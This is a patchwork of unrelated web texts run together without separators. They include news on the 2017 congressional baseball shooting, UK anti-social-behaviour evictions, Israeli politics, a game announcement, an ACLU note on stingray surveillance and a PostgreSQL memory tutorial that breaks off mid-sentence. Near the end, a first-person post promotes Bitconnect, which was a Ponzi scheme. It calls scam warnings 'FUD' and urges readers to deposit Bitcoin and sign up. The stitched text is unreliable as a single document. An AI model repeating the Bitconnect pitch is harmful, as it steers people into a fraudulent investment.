June 14, 2017, 10:19 PM GMT / Updated June 14, 2017, 11:31 PM GMT By Alex Seitz-Wald
WASHINGTON — The political accusations started flying just hours after the bullets did.
Some on the right wasted no time blaming their political opponents for the shooting Wednesday morning at a practice of congressional Republicans’ baseball team, saying Democrats’ harsh anti-Donald Trump rhetoric had created a political culture of violence that inspired alleged shooter James Hodgkinson.
Former House Speaker Newt Gingrich blamed a "pattern" of "increasing hostility on the left" in an appearance on Fox News, prompting the host to press him on whether it was appropriate to be making such charges at such a time.
“You’ve had a series of things, which sends signals that tell people that it’s OK to hate Trump. It’s OK think of Trump in violent terms. It’s OK to consider assassinating Trump and then ... suddenly we’re supposed to rise above it — until the next time?” Gingrich responded.
Investigators said it’s too early to understand Hodgkinson’s motives. And leaders in both parties called for calm and bipartisan unity, with members of the Democratic baseball team inviting their Republican counterparts to dinner Wednesday night ahead of Thursday’s game, which will go ahead as planned.
Rep. Mark Walker, R-NC, told NBC News that it appeared the "gunman was there to kill as many Republican members as possible” — a comment that was quickly splashed across the top of the Drudge Report, Breitbart News, and other conservative outlets.
Rep. Rodney Davis, R-IL, who was at the bat when shots rang out in Alexandria, Virginia, warned on CNN, “This could be the first political rhetorical terrorist attack.”
Trump adviser Kellyanne Conway stoked the narrative on Twitter, as did Donald Trump Jr., the president’s son, retweeting a tweet from a conservative commentator that connected the shooting to a controversial new production of William Shakespeare’s “Julius Caesar.” In the production, Caesar, who is assassinated on stage, is portrayed in a way meant to invoke Trump.
Others on the right linked the shooting to comedian Kathy Griffin, who was fired from CNN's New Year's Eve special for posing with a fake severed and bloody Trump head. She later apologized.
“Today's shooter was a hard core Lefty, a big Bernie fan,” controversial former GOP Rep. Joe Walsh said on Twitter. “Too much hate on the left. Way too much. It's dangerous.”
In many ways, it’s a reversal of what liberals often did during the Obama administration — reaching to tie acts of political violence to the Tea Party and the GOP.
Among Democrats, some were quick on Wednesday to use the incident to call for new gun restrictions opposed by many in the GOP.
"I think we need to do more to protect all of our citizens. I have long advocated — this is not what today is about — but there are too many guns on the street," Virginia Gov. Terry Mcauliffe said at a press conference with local authorities in Alexandria. "It’s not just about politicians. We worry about this every day for all of our citizens."
Democratic State Rep. Mark Levine, who represents Alexandria, let his voice rise as he ticked through the gun control legislation that Republicans have blocked in the Virginia General Assembly.
"Bomb the terrorists in Syria, arm the terrorists in Virginia — that's their policy," Levine said of Republicans after they killed a bill he introduced to bar people on the terrorist watch list from buying guns.
Virginia has experienced a number of high-profile shootings in recent years, and Levin said he has little hope the latest one would move Republicans.
Gun-control activists had planned to protest a hearing in Congress Wednesday on making gun silencers easier to acquire, but the meeting was canceled after the shooting.
Hodgkinson, a former home inspector from Illinois, volunteered for Bernie Sanders’ campaign in Iowa and wrote letters to the editor of his local newspaper condemning Republicans.
Sanders went to the Senate floor Wednesday to condemn Hodgkinson, saying, “I am sickened by this despicable act.”
And Robert Becker, who ran Sanders’ presidential campaign in Iowa, told NBC News that Hodgkinson did not play any meaningful role in the campaign.
"I’ve talked to everyone that worked for us in the Quad Cities area. Nobody remembers the guy. That doesn’t mean that he didn’t come in a day or two and knock on some doors for us, but he didn’t stand out,” Becker said. "I can’t denounce him strong enough for what he did.”
Rep. Chris Collins, R-NY, the first congressman to endorse Trump during last year’s presidential primary, told local station WKBW that Democrats’ “outrageous” rhetoric can incite violence.
"You fuel the fires ... some people react to things like that," Collins later told radio station WBEN.
Meanwhile, House Speaker Paul Ryan and Minority Nancy Pelosi struck the opposite note, saying they were all part of the same “family” and needed to come together.
Ironically, the congressional baseball game, in which Republicans and Democrats play against each other to raise money for charity, is one of the few bipartisan traditions left in Washington.
“There are just very few opportunities for us to interact outside our suits,” lamented Rep. Mike Doyle, D-PA, who manages the Democratic team, as he stood next to Rep. Joe Barton, R-TX, who manages the GOP team.
The two were a picture of bipartisan bonhomie at a press conference Wednesday afternoon, playfully ribbing each other’s pitching abilities and recalling a time on the Hill when members could get together outside work more often and before social media helped coarsen the political discourse.
According to the latest issue of Weekly Shonen Jump, the pre-timeskip versions of admiral Aokiji, Kizaru, Akainu, and the former fleet admiral Sengoku will be joining the upcoming One Piece: Burning Blood character roster. While Aokiji has already been revealed, and having Akainu and Kizaru be part of a One Piece game has by now become a regular thing, it is still a mystery just how many new characters will be in the game.
In addition, the official English website for One Piece: Burning Blood has added information for three new playable characters: Gecko Moria, Dracule Mihawk, and Bartholomew Kuma of the Seven Warlords of the Sea. Bandai Namco Europe also unveiled a batch of new screenshots featuring the battlefield of the war zone, Marineford Bay, and the Oris Plaza. Some of the new images show a menu in the ‘Paramount War’ mode that lists four options, Luffy, Whitebeard, Akainu, and Ace, possibly to give the players an option to pick sides. Last but not least, the players can read chapter descriptions in order to keep track of the story line.
Don’t forget to check out the gallery section below.
One Piece: Burning Blood is scheduled to release on April 21 in Japan, June 3 in Europe, Middle East, and Australia, and will be available in the United States on May 31. The game will be available on PS4 and PS Vita in Japan, while it will be available for other regions on PS4, Xbox One, PS Vita, and STEAM.
Are you excited to play One Piece: Burning Blood? Let us know in the comments! Be sure to check back with the One Piece Podcast for updates and news as it breaks.
At Wednesday’s sentencing in Charleston, Blankenship received an additional year of supervised release and a quarter-million dollar fine. While families of UBB victims were not permitted to speak in the courtroom during sentencing, Blankenship did. “My main point is wanting to express sorrow to the families and everyone for what happened,” Blankenship told to the court, adding the qualification to his apology, “I am not guilty of a crime.” Betty Harrah, the sister of a victim of the explosion, told a local TV station on Wednesday the disaster delivered “a lifetime sentencing” to victim’s families who “didn’t do anything wrong.”
The UBB explosion was the deadliest U.S. mining accident in four decades, and prompted a federal investigation into the coal giant’s safety practices. The investigation eventually led the Justice Department to the top of Massey’s chain of command: to Blankenship, who federal prosecutors accused last fall of creating “an unspoken conspiracy that company employees were to ignore safety standards and practices if they threatened profits,” according to The New York Times. As Mother Jones’ Tim Murphy reported in November, UBB averaged one safety violation per day; miners worked in hazardous conditions, like floods and collapsing ceilings; the company used secret codes and radios to foil federal inspectors; and Blankenship himself sent out threatening messages to managers who were concerned about safety.
Blankenship — a native of coal country who enjoyed a 18-year reign as CEO of Massey — was charged with the misdemeanor in December. It was considered a landmark in a region where King Coal has ruled for more than a century. The U.S. attorneys, reports the Times, “said it was the first time such a high-ranking corporate executive had been found guilty of a workplace safety crime.” Nonetheless, Blankenship’s jury of peers cleared him of three felony charges that could’ve put him away for 30 years instead of one.
Daniel Bryan recently calling him a good friend and if he's still friends with guys from his indie days: "Absolutely. First of all, Daniel Bryan is probably top of my list as far as being one of the nicest guys and one of the guys that's worked the hardest. Watching him go from the Texas indies, to the Ring of Honor days, to where he is now – it's just a testament to his desire and his hard work. Then there are guys like AJ Styles and Samoa Joe, both former World Champions, we went through the indies together and Ring of Honor together. Those guys have both worked very hard to reach the top of the ladder. Lo-Ki is another guy I've had extensive experience with in the ring and on the road. And then Frankie Kazarian and I have traveled around together for the past decade and a half honing our craft and now we're the top team in TNA. You build a relationship with these guys traveling around the world, keeping your nose to the grindstone to become better and I think working with such talented guys like that has helped me become as good as I am now."
His dream match: "I'd have to say Chris Jericho. He's always been someone I've looked up to as a fan and over the course of my career I've always looked at him as sort of the perfect blend of athleticism and character. I've said time and time again that he was a compelling guy on the microphone and once the bell rang he could get it done. He was that perfect mix of athlete and entertainer."
Special TNA moments: "I thought when Samoa Joe won the World Title was a special night. That was an instance where TNA sort of got out of it's own way and let the competitors speak for themselves. The build for Joe versus Kurt Angle in the cage was perfect and it was a well-deserved victory for Joe. It was his first world title but not his last, I don't believe. But even if it was, that was a career defining moment for Joe and a really good moment for TNA as a company."
Daniels also discussed which wrestlers have given him his best matches in TNA, his early influences, his wrestling style, advice for wrestlers trying to enter the business and more. You can read the full interview by clicking here.
Many of these universities, particularly those in the United States, are actually systems of separate university campuses, and may not accurately represent a comparable student body. For example, the enrollment listed for the University of California is the population of the entire student body in the University of California system, which is composed of several individual campuses statewide. All University of California campuses are entitled "University of California" and then denoted further by the campus location, such as "University of California, Irvine". Other states organize their public universities differently in ways that further complicate any direct comparisons.
This is the ninth iteration of the BTBA and the fifth in which the four winning authors and translators will receive $5,000 cash prizes thanks to funding from the Amazon Literary Partnership program.
With Rilke Shake taking home the poetry award, Phoneme Media becomes the first press to win for poetry in back-to-back years. (Diorama by Rocío Cerón, translated from the Spanish by Anna Rosenwong, won last year). Hilary Kaplan also received a PEN/Heim Translation Award to work on this collection.
According to Tess Lewis, BTBA judge and author of the “Why This Book Should Win” piece at Three Percent, “[Kaplan] has done the grant and Freitas’s poems justice, capturing the many shifts in tone in and between the lines, from playful to wry to sardonic to pathetic, even sentimental, to deadpan and back to playful, sometimes within a single poem. For all of Freitas’s lyric clowning, it’s clear she takes poetry too seriously not to dismantle it and use it to her own purposes.”
Yuri Herrera is the first Spanish-language writer to win the award for fiction. According to “Why This Book Should Win” piece by bookseller (and former BTBA judge) Stephen Sparks, “Signs Preceding the End of the World tells the story of a young switchboard operator’s harrowing attempt to cross a border between worlds — Mexico and the United States, but also between reality and myth, between the living and the dead, between any here and distant there — in search of her brother, who like uncountable others before him has gone north to seek out a better life.”
Lisa Dillman has translated almost a dozen books over the past few years, including works by Andrés Barba and Eduardo Halfon, and teaches Spanish at Emory College. Her translation of Herrera’s next novel, The Transmigration of Bodies (also published by And Other Stories), comes out in July.
Next week during BookExpo America, 57th Street Books in Chicago will be hosting a BTBA party from 5 to – 6:30 pm at the store. The event — which will feature a number of BTBA judges — is free and open to the public.
As always, the judges deserve a round of congratulations for all their hard work, reading dozens of titles and choosing these worthy books. This year’s fiction jury is made up of: Amanda Bullock (Literary Arts, Portland), Heather Cleary, translator from the Spanish, co-founder of the Buenos Aires Review), Kevin Elliott (57th Street Books), Kate Garber (192 Books), Jason Grunebaum (translator, writer), Mark Haber (writer, Brazos Bookstore), Stacey Knecht (translator), Amanda Nelson (Book Riot), and P.T. Smith (writer and reader).
And this year’s poetry jury is made up of: Jarrod Annis (Greenlight Bookstore), Katrine Øgaard Jensen (Council for European Studies), Tess Lewis (writer and translator), Becka McKay (writer, translator), and Deborah Smith (writer, translator, founder of Tilted Axis).
In his speech, Ya’alon accused the country’s leaders of “blinding” the country with imaginary existential threats in order to distract them from the serious issues facing Israel. Plainly referring to the Prime Minister Benjamin Netanyahu but not naming him, Ya’alon said the leadership incites sections of Israeli society against each other, and cynically peddles the false sense that Israel is “on the brink of a second Holocaust.”
“It is my intention to run for the leadership in the next elections,” Ya’alon said, prompting applause from the audience.
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The Likud party released a statement shortly after Ya’alon made his remarks, stopping just short of calling him a hypocrite for downplaying the threat of Iran, which he once warned against.
“It’s amusing to watch how quickly Ya’alon changes his spots. Just a few months ago he said: ‘Iran is an existential concern for Israel,'” the party said in its statement. “Today at the Herzliya Conference, when he became a politician, he said there are no existential concerns for Israel.”
In a dramatic turn of events, Ya’alon was ousted as defense minister last month, a position he had held since 2013. In the weeks since, commentators and analysts have rushed to determine how and with whom Ya’alon could make his political comeback.
The former Likud member did not indicate with which party he would run.
This was not Ya’alon’s first time indicating his intention to run for office, and indeed he made a similar announcement during his resignation speech in Tel Aviv last month. Many of the lines from his speech on Thursday were even picked directly from his speech nearly a month ago.
“I have no intention of [permanently] leaving public life, and in the future I will return as a candidate for national leadership,” he said on May 20.
At the 16th annual Herzliya Conference at the Interdisciplinary Center, Ya’alon reiterated that decision, but also came out harshly against the current government.
“It is intolerable that Israel’s leadership in 2016 tries to incite Jews against Arabs, right against left, and between different tribes, all in order to survive in the government and to get another month or another year” in office, he said. “The job of a leadership is unify society, even when there are substantive political differences, not to foster division.”
Despite claims to the contrary by Israel’s current leaders, “at this time and for the foreseeable future, there is no existential threat facing Israel,” Ya’alon said, without naming any particular politicians or leaders who say the opposite.
“Israel is the strongest country in the region,” Ya’alon said. “Therefore it’s reasonable that the leadership should cease terrifying its citizens and stop trying to give them a feeling that we are on the brink of a second Holocaust.”
Ya’alon cited Israel’s economic and social woes, including racism and sexism, as issues he would seek to address in a leadership position.
“Good people are deterred from entering politics. But we can’t throw up our hands and say someone else will take care of it,” he added, slamming the “violent” rhetoric of Israeli politicians.
PHILADELPHIA -- The setup was plausible. A news conference announcing that right-hander Tommy Greene, who pitched a no-hitter for the franchise in 1991, was retiring as a Phillie.
PHILADELPHIA -- The setup was plausible. A news conference announcing that right-hander Tommy Greene, who pitched a no-hitter for the franchise in 1991, was retiring as a Phillie.
Army Sgt. 1st Class Jamil Ali had no way of knowing it was an elaborate hoax.
• Photo gallery
All the soldier -- who has served 19 years in the military, including deployments in the Middle East -- knew was that he had been offered a tour of Citizens Bank Park on Friday. When Ali entered the Media Room, sure enough, Greene was at the podium talking about his favorite Phillies memories.
And then the true purpose of Ali's visit was revealed.
Public affairs director Scott Palmer acknowledged his presence. The next thing Ali knew, the Phillie Phanatic was escorting him to the front of the room as members of the team's front office, who had been posing as reporters, gave him a standing ovation while waving rally towels and showering him with confetti.
Once Ali arrived, Greene greeted him with a personalized Phillies jersey and the news that he was being given an all-expenses-paid trip to the team's Phantasy Camp in Clearwater, Fla., beginning Jan. 20, when he'll get an opportunity to play with Greene and 20 other team legends. Visibly surprised, Ali could only mouth a silent, "Wow."
• Phillies Phantasy Camp
Ali, 56, lives in North Philadelphia, rooting for bygone stars Dick Allen, Tony Taylor and Jim Bunning. He was stationed in Iraq while the Phillies were winning the World Series in 2008, but he found a way to watch every game and hung his Chase Utley jersey in the mess hall to advertise his allegiance.
Ali is currently assigned to HHB 108th Field Artillery in Carlisle, Pa. With him Friday were his son, Mike, who is also in the Army, and their fiancées.
Now, clearly there are many members of the military who could have been given this honor. Ali was identified by cooperation between the United Service Organizations and the military commands in Pennsylvania and South Jersey, which look for candidates who fit the profile of a combination of a long history of service, being a legitimate Phillies fan and being physically fit enough to handle the rigors of four days of playing baseball.
Said Joe Brooks, President of Liberty USO: "The USO is a values-driven organization. And those values are providing comfort, care, support and honoring our military and military family members. The Phillies share that."
That relationship has grown over the past five years. And Ali is only the latest to benefit from that, with help not only from the USO and the team but ESF (Education, Sports and Fun!), which runs the Phantasy Camp, and the David Geltzer Family Foundation.
In fact, the idea of sponsoring soldiers' trips to the camps began during Geltzer's third time at Phantasy Camp; this year will be his seventh.
"It all started when one of the guys on my team was a 27-year-old who happened to sit next to me at dinner," Geltzer explained. "He said he was on his way to Afghanistan. Then, on the last night, we have a banquet, and Scott Palmer does a thing where the veterans stand up and he salutes them. It was a pretty interesting evening when you see all these adult men who had played baseball all week now stand up for the flag."
When Geltzer got home, he continued to think about the young man. Geltzer emailed him and asked if he and his brother, who was also in the service, would like to attend again. At the same time, Geltzer contacted the Phillies and ESF to see if they were interested in matching his donation. The result: A dozen service people have been given this special opportunity. And it's a gift that works both ways.
"After the first year, one of the guys got up and made a speech at the banquet, and there wasn't a dry eye in the house," Geltzer noted. "It's pretty interesting after guys have their macho baseball for five days, and now all of a sudden they're listening [to a soldier] and seeing that there are bigger things out there."
Added ESF's Chris Landosky: "Days like this are special. We're privileged to be able to be here and provide this program for you and to honor you for your commitment and service to our great country that allows us to even have a Phantasy Camp. So thank you very, very much."
Ali was at first speechless. After he gathered his thoughts, he talked about what this meant to him.
"I'm stunned. This is just overwhelming," Ali said. "I really, really appreciate it. Words can't describe how I feel right now. It's just a litany of emotions. I'd just like to thank everyone."
Ali has attended many games at Citizens Bank Park before, so even before his big surprise, he enjoyed getting a behind-the-scenes look at the facility.
"It was very exciting," Ali said. "To be able to go on a tour and see Chooch's [Carlos Ruiz's] locker and Ryan Howard's locker, it was just amazing. I watch these guys on television, and to get a chance to be in their clubhouse, I took several pictures."
Before his trip to the ballpark was over, though, it was Ali whose picture was being taken. Over and over and over again.
Signs of remote wipe, lock and locate features for Chrome OS have appeared in the latest dev channel version, according to Francois Beaufort. You can see these options by running Chrome with the experimental command line switch “--enable-consumer-management.”
Unfortunately, these features don't actually work right now, so it's not worth the trouble of setting them up. There's also no guarantee that Google will even add remote device management tools in future stable versions of Chrome OS.
Still, it's not hard to imagine Google adding Chromebooks to the device manager tools that are already available for Android.
Unlike a full-blown desktop operating system, such as Windows or Mac OS X, Chrome OS is designed for users to store most of their files and data online, or to offload them to another device. Chromebook users may be less hesitant to remotely wipe a lost machine, since most or all of their files aren't actually stored on the device. At the same time, they'll be able to protect against someone having access to their online accounts and data. And while not all Chromebooks have GPS on board, remote locate would be helpful for the handful of 3G and 4G Chromebooks on the market.
Police in Tyne and Wear burst in to 22 homes to deliver rude awakening
The tenants had received shameful series of complaints from neighbours
20 were handed notices telling them they have one last chance to change
One pensioner said: 'It's been a nightmare living next to them'
Rude awakening: A man answers the door in his dressing gown as police in Tyne and Wear deliver early morning warnings to nightmare neighbours
They are the neighbours from hell known for their noisy parties, screaming arguments and anti-social behaviour.
But this time they were the ones getting a rude awakening.
Police in Tyne and Wear burst in to a series of homes in the early hours of yesterday morning to deliver final warnings or eviction notices.
Officers visited 22 homes in Wallsend to tell tenants - many dressed in pyjamas and dressing gowns - that they face being booted out if they do not mend their ways.
All the tenants had racked up a shameful series of complaints from those living around them fed up by their noise, anti-social behaviour, music, loud arguments.
After issuing a number of warnings, staff from North Tyneside Council's Safer Estates Team served 20 tenants with legal notices giving them one last chance to change before losing their homes.
And two were handed eviction notices telling them court proceedings would soon be started to kick them out.
The action was taken as part of a joint police and council initiative called Operation Respect.
North Tyneside council's safer estates manager, Colin Boxshall, said: 'Operation Respect involves serving nuisance households with final warning notices. If the anti-social behaviour continues people risk being evicted.'
Crimes linked to the properties included drunk and disorderly, theft, criminal damage, breach of the peace, drug offences, threatening behaviour, intimidation, noise nuisance and shoplifting.
O ne man who lives next door to a block where three households were served with notices said his neighbours were making life a misery for him.
The pensioner said: 'It's been a nightmare living next to them. There are parties and noise going on until about 3am in the morning, and people keep breaking the door in.
'I'm really glad something is being done.'
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Serving notices: A woman is handed a notice by police as a crackdown on noisy neighbours is launched in Tyne and Wear
Police and council officials visited 22 homes in Wallsend to tell tenants, many dressed in pyjamas and dressing gowns, that they face being booted out if they do not mend their ways
Among the 16 people visited, eight were also asked to sign Acceptable Behaviour Agreements. A mother was also given an eviction order because of her out-of-control son's behaviour. The 12-year-old had received repeated warning from police for terrorising a local vicar, jumping out in front of his car, and throwing fireworks. Inspector Neil Armsworth, of Northumbria Police , said it was essential that residents report anti-social behaviour to police so that his officers can take action. And he explained that eviction warnings were a better deterrent than arrests on some cases. RELATED ARTICLES Previous
Next Drug dealer who hid loaded gun in a box of Cheerios on top... Drugs courier supplied heroin to grandmother who hid her... Share this article Share 'It's particularly impactive that the other residents in the street that have to put up with the people see something being done,' he said. 'Quite often these people are involved in low level crime but on a regular basis, and this can be more impactive on people's everyday lives than a more serious crime that is a one off. 'Northumbria Police is committed to addressing the issues that are affecting our communities, be it crime or anti-social behaviour related. Crimes linked to the properties included drunk and disorderly, theft, criminal damage, breach of the peace, drug offences, threatening behaviour, intimidation, noise nuisance and shoplifting
Inspector Neil Armsworth, of Northumbria Police, said it was essential that residents report anti-social behaviour to police so that his officers can take action Crackdown: North Tyneside council's safer estates manager, Colin Boxshall (centre), serving notices
'Behaviour of this description is not acceptable and will not be tolerated.
'We will continue to work together with partners in North Tyneside Council to take enforcement action against anyone whose behaviour is having a detrimental affect on the community.
'I would absolutely encourage people to report anti-social behaviour to us because we won't know about it if they don't tell us.'
'North Tyneside's elected mayor Norma Redfearn added: 'We are committed to ensuring North Tyneside is a safe and enjoyable place to live and we will not allow the minority to spoil it.
Detectives confirmed they were treating the death of Catherine Wells-Burr, from Chard, as suspicious after fire crews discovered her body in a burning red Ford Focus in Ashill off the A358 near Ilminster yesterday morning.
Catherine Wells-Burr was found dead in a burning car (Picture: Facebook)
‘This is a tragic and brutal incident in which a young woman has needlessly lost her life,’ said Detective Chief Inspector Simon Crisp, of Avon and Somerset police.
‘We are working to establish what happened in the early hours of yesterday morning that led to this car being set ablaze.’
Police said they did not believe Ms Wells-Burr was the victim of a random attack and that instead she probably knew her killer.
DCI Crisp launched an appeal for anyone with any information to get in touch, particularly if they were in the area at the time.
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‘Your information may be crucial so please contact us by calling 101 or Crimestoppers on 0800 555 111,’ he said.
Paying tribute to Ms Wells-Burr, Maurice Hicks, headteacher of Holyrood Academy in Chard where she was a former pupil, said: ‘Everyone at Holyrood Academy is deeply saddened and shocked to hear the news about Catherine.
Police at the scene in a line in Ashill off the A358 near Ilminster (Picture: PA)
‘She is warmly remembered as a very friendly young person, gregarious and with a great sense of humour.’
Mr Hicks added: ‘Catherine always had a smile and a positive outlook. She was very popular with the other students and had lots of friends.
The map below tracks what we know, based on press reports and publicly available documents, about the use of stingray tracking devices by state and local police departments. Following the map is a list of the federal agencies known to have the technology. The ACLU has identified 75 agencies in 27 states and the District of Columbia that own stingrays, but because many agencies continue to shroud their purchase and use of stingrays in secrecy, this map dramatically underrepresents the actual use of stingrays by law enforcement agencies nationwide.
Stingrays, also known as "cell site simulators" or "IMSI catchers," are invasive cell phone surveillance devices that mimic cell phone towers and send out signals to trick cell phones in the area into transmitting their locations and identifying information. When used to track a suspect's cell phone, they also gather information about the phones of countless bystanders who happen to be nearby.
The goal is simple…add value and people will respect you. When I first found Bitconnect I decided to put an amount of $230 into it as a test. It wasn’t a deal breaker if I lost the money because I could afford it.
The way the platform works is you first transfer Bitcoin into the site. Then you use that Bitcoin and convert it to BCC which can be loaned out.
How to Transfer in Bitcoin?
On Bitconnect, there will be a ‘Deposit Bitcoin’ button. You will want to click that button which will bring up the address for where you will want to transfer Bitcoin. Next, copy this address and go to Coinbase or Bittrex where you hold Bitcoin. On each exchange, there will be the ability to ‘send’ or ‘withdraw’ Bitcoin. Then, you will paste the address to transfer Bitcoin to Bitconnect. The minimum for a loan you can do on Bitconnect is $100.
This loan gains interest daily which is calculated based on the volatility of the market. As the first couple days went by, I started to notice the value of the platform. The first day I collected .8% and then the days after were above 1%.
When the interest got paid I immediately moved it into BCC because the hope was that I would also get investment gains. This probably the smartest thing to do in order to speed up the return on investment.
Sure enough, after the first couple payments of putting my money in BCC the price went from $90 to $100. Now the price sits well above $100. In the first couple days, I already made back 10% of the loan and that money can be transferred straight out to Coinbase after. This is how you can accumulate Eth over time.
I’m looking to get to the point where I own 100 Eth over the next two years. In order to hit that goal, I have to seek out these other opportunities for yield in the meantime.
I hear many people calling it a scam but how can they say that if the interest is actually being paid daily. Also, none of the haters actually have an account like me so their argument is not valid. In less than 50 days, I will probably have all of the original lending amount back and put into Coinbase. Then the rest after that will be straight profit.
I would say to test out a small amount like I did to get comfortable with the platform and have little risk on the table. The horror stories of people saying it is going to shutdown is just outright ‘FUD’ and you should try the platform before ruling it out. You can signup now using the link below.
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TeleTech’s new “customer experience service” is now located at the old TopBuild’s headquarters behind Volusia Mall. They hope to fill the open positions as soon as possible due to their pending contracts with signed clients.
Most are full or part-time positions offering $10-$13 per hour. According to a senior executive at TeleTech, there are opportunities to earn an extra $1-$3 per hour from performance incentives.
Current jobs available are:
TeleTech has stated that they’re expecting 40% of their employees to be bilingual so they’re hoping to hire 240 Spanish-speaking reps. They also plan to hire Mandarin and Cantonese speakers in the near future. In addition to the customer service positions, TeleTech will employ over 100 managerial positions, paying out an average of $41,000 in salaries. All positions offer competitive benefits with opportunities for career advancement.
Abu Dhabi // Posting people’s pictures or videos online without their consent is a crime punishable by a fine and even up to six months in prison, the Ministry of Interior has warned.
Even the circulation of pictures and videos of traffic accident victims are considered a crime, the ministry said, according to The National’s Arabic-language sister paper, Al Ittihad.
Lt Col Salah Al Ghoul, head of the bureau for law respect at the Ministry, said that fines of up to Dh500,000 could also be imposed if someone’s privacy is infringed using an “information network”.
“Article 24 of the cybercrimes law stipulates that anyone who uses an information network to infringe upon someone else’s privacy shall be punished by a minimum prison sentence of six months and/or a fine of between Dh150,000 and Dh500,000,” said Lt Col Al Ghoul.
It is believed the warning is aimed primarily at young users of social networking sites.
The work memory, or work_mem is one of the most complicated setting to configure. It can be used for various purposes. It’s mainly used when sorting data or creating hash tables, but it can also be used by set returning functions using a tuplestore for instance, like the generate_series() function. Moreover, each node of a query can use this amount of memory. Set this parameter too low, and a lot of temporary files will be used, set it too high and you may encounter errors, or even an Out Of Memory (OOM) depending on your OS configuration.
I’ll focus here on the amount of memory needed when sorting data, to help you understand how much memory is required when PostgreSQL runs a sort operation.
Truth is out
I sometimes hear people think that there is a correlation between the size of the temporary files generated and the amount of memory that would have been needed to perform the same sort entirely in memory. It’s unfortunately wrong, you can’t make any assumption on the value of work_mem based only on the size of a sort temporary file.
It’s because when the data to be sorted don’t fit in the allowed memory, PostgreSQL will use different algorithms, either external sort or external merge, which have a totally different space usage. In addition to work_mem usage, a smaller temporary file can be used multiple times, with external merge algorithm, for less disk usage and better performance. If you want more details on this, the relevant source code is present in tuplesort.c and logtapes.c. As a brief introduction, the header of tuplesort.c says:
[…] This module handles sorting of heap tuples, index tuples, or single Datums (and could easily support other kinds of sortable objects, if necessary). It works efficiently for both small and large amounts of data. Small amounts are sorted in-memory using qsort(). Large amounts are sorted using temporary files and a standard external sort algorithm. See Knuth, volume 3, for more than you want to know about the external sorting algorithm. We divide the input into sorted runs using replacement selection, in the form of a priority tree implemented as a heap (essentially his Algorithm 5.2.3H), then merge the runs using polyphase merge, Knuth’s Algorithm 5.4.2D. The logical “tapes” used by Algorithm D are implemented by logtape.c, which avoids space wastage by recycling disk space as soon as each block is read from its “tape”. […]
NOTE: It’s an extract from the 9.5 version of the //readme//. External sorts are now using a //quicksort// quicksort algorithm rather than a //replacement selection//.
It can be easily verified. First, let’s create a table and add some data:
rjuju =# CREATE TABLE sort ( id integer , val text ); CREATE TABLE rjuju =# INSERT INTO sort SELECT i , 'line ' || i FROM generate_series ( 1 , 100000 ) i ; INSERT 0 100000
To sort all these rows, 7813kB is needed (more details later). Let’s see the EXPLAIN ANALYZE with work_mem set to 7813kB and 7812kB :
rjuju =# SET work_mem to '7813kB' ; SET rjuju =# EXPLAIN ANALYZE SELECT * FROM sort ORDER BY id ; QUERY PLAN ------------------------------------------------------------------------------------------------------------------- Sort ( cost = 9845 . 82 .. 10095 . 82 rows = 100000 width = 14 ) ( actual time = 50 . 957 .. 59 . 163 rows = 100000 loops = 1 ) Sort Key : id Sort Method : quicksort Memory : 7813 kB -> Seq Scan on sort ( cost = 0 . 00 .. 1541 . 00 rows = 100000 width = 14 ) ( actual time = 0 . 012 .. 19 . 789 rows = 100000 loops = 1 ) rjuju =# SET work_mem to '7812kB' ; SET rjuju =# EXPLAIN ANALYZE SELECT * FROM sort ORDER BY id ; QUERY PLAN ------------------------------------------------------------------------------------------------------------------- Sort ( cost = 9845 . 82 .. 10095 . 82 rows = 100000 width = 14 ) ( actual time = 142 . 662 .. 168 . 596 rows = 100000 loops = 1 ) Sort Key : id Sort Method : external sort Disk : 2432 kB -> Seq Scan on sort ( cost = 0 . 00 .. 1541 . 00 rows = 100000 width = 14 ) ( actual time = 0 . 027 .. 18 . 621 rows = 100000 loops = 1 )
So, 7813kB are needed, but if we lack only 1kB , the temporary file size is 2432kB .
You can also activate the trace_sort parameter to have some more information:
rjuju =# SET trace_sort TO on ; SET rjuju =# SET client_min_messages TO log ; SET rjuju =# EXPLAIN ANALYZE SELECT * FROM sort ORDER BY id ; LOG : begin tuple sort : nkeys = 1 , workMem = 7812 , randomAccess = f LOG : switching to external sort with 28 tapes : CPU 0 . 00 s / 0 . 05 u sec elapsed 0 . 05 sec LOG : performsort starting : CPU 0 . 00 s / 0 . 07 u sec elapsed 0 . 07 sec LOG : finished writing final run 1 to tape 0 : CPU 0 . 00 s / 0 . 15 u sec elapsed 0 . 15 sec LOG : performsort done : CPU 0 . 00 s / 0 . 15 u sec elapsed 0 . 15 sec LOG : external sort ended , 304 disk blocks used : CPU 0 . 00 s / 0 . 18 u sec elapsed 0 . 19 sec QUERY PLAN ------------------------------------------------------------------------------------------------------------------- Sort ( cost = 9845 . 82 .. 10095 . 82 rows = 100000 width = 14 ) ( actual time = 154 . 751 .. 181 . 724 rows = 100000 loops = 1 ) Sort Key : id Sort Method : external sort Disk : 2432 kB -> Seq Scan on sort ( cost = 0 . 00 .. 1541 . 00 rows = 100000 width = 14 ) ( actual time = 0 . 039 .. 23 . 712 rows = 100000 loops = 1 )
With these data, 28 tapes are used.
So, how do I know how much work_mem is needed?
First, you need to know that all the data will be allocated through PostgreSQL’s allocator AllocSet. If you want to know more about it, I recommend to read the excellent articles Tomas Vondras wrote on this topic: Introduction to memory contexts, Allocation set internals and palloc overhead examples.
The needed information here is that the allocator adds some overhead. Each allocated block has a fixed overhead of 16B , and the memory size requested (without the 16B overhead) will be rounded up to a 2^N size. So if you ask for 33B, 80B will be used: 16B of overhead and 64B, the closest 2^N multiple. The work_mem will be used to store every row, and some more information.
For each row to sort, a fixed amount of 24B memory will be used. This is the size of a SortTuple which is the structure sorted. This amount of memory will be allocated in a single block, so we have only 24B overhead (fixed 8B and the 16B to go to the closest 2^N multiple).
The first part of the formula is therefore:
24 * n + 24
(n being the number of tuple sorted)
Then, you have to know that PostgreSQL will preallocate this space for 1024 rows. So you’ll never see a memory consumption of 2 or 3kB.
Then, each SortTuple will then contain a MinimalTuple, which is basically a tuple without the system metadata (xmin, xmax…), or an IndexTuple if the tuples come from an index scan. This structure will be allocated separately for each tuple, so there can be a pretty big overhead. Theses structures lengths are both 6B , but need to be aligned. This represents 16B per tuple.
These structures will also contain the entire row, the size depends on the table, and the content for variable length columns.
The second part of the formula is therefore:
( 8 + ( ( 16 + average row length ) rounded to 2 ^ N ) ) * n
We can now estimate how much memory is needed:
( 24 + 8 + ( ( 16 + average row length ) rounded to 2 ^ N ) ) * n + 24
Testing the formula
Let’s see on our table. It contains two fields, id and val. id is an integer, so it uses 4B . The val column is variable length. First, figure out the estimated average row size:
